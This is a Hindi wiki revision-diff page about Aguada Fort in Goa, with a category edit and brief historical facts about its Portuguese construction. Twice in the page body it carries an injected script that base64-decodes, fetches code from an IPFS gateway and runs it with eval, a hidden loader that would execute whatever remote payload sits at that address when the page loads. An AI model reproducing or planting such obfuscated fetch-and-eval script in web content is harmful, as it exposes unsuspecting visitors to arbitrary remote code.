"अगुआड़ा दुर्ग" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 18: पंक्ति 18:
  
 
==संबंधित लेख==
 
==संबंधित लेख==
{{महाराष्ट्र के पर्यटन स्थल}}{{भारत के दुर्ग}}
+
{{गोवा के पर्यटन स्थल}}{{भारत के दुर्ग}}
[[Category:महाराष्ट्र]][[Category:महाराष्ट्र_के_पर्यटन स्थल]][[Category:मुम्बई]][[Category:भारत के दुर्ग]][[Category:स्थापत्य कला]][[Category:ऐतिहासिक स्थल]][[Category:कला कोश]][[Category:पर्यटन कोश]]
+
[[Category:गोवा]][[Category:गोवा के पर्यटन स्थल]]][[Category:गोवा के ऐतिहासिक स्थान]][[Category:भारत के दुर्ग]][[Category:स्थापत्य कला]][[Category:ऐतिहासिक स्थल]][[Category:कला कोश]][[Category:पर्यटन कोश]][[Category:इतिहास कोश]]
[[Category:पर्यटन कोश]]
 
[[Category:इतिहास कोश]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

06:31, 22 अप्रैल 2011 का अवतरण

  • अगुआड़ा दुर्ग महाराष्ट्र के मुंबई शहर से लगभग 400 किलोमीटर दक्षिण में गोवा राज्य में मांडवी नदी के उत्तरी किनारे पर स्थित है।
  • इसका नामकरण पुर्तग़ालियों ने एक मीठे पानी के झरने के नाम पर रखा था।
  • इस दुर्ग को आठ वर्षों में निर्मित किया गया था।
  • 1612 ई. में इसके पूर्ण होने पर पुर्तग़ालियों ने इसका नाम ‘फोर्ट सांता कैथेरिना’ रखा।
  • अगुआड़ा में पुर्तग़ालियों द्धारा दुर्ग निर्माण का मुख्य उद्देश्य इसके माध्यम से गोवा की अपनी बस्ती की सुरक्षा करना था।
  • दुर्ग समुद्र की ओर उँचे परकोटों और दो सुदृढ़ बुर्जों द्धारा सुरक्षित है।
  • इस दुर्ग पर मराठों ने भी आक्रमण किया था। परंतु अग्रेंजों ने उसे असफल कर दिया।
  • मराठों के साथ 1741 ई. की संधि के बाद यह दुर्ग पुर्तग़ालियों के अधिकार में आ गया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

]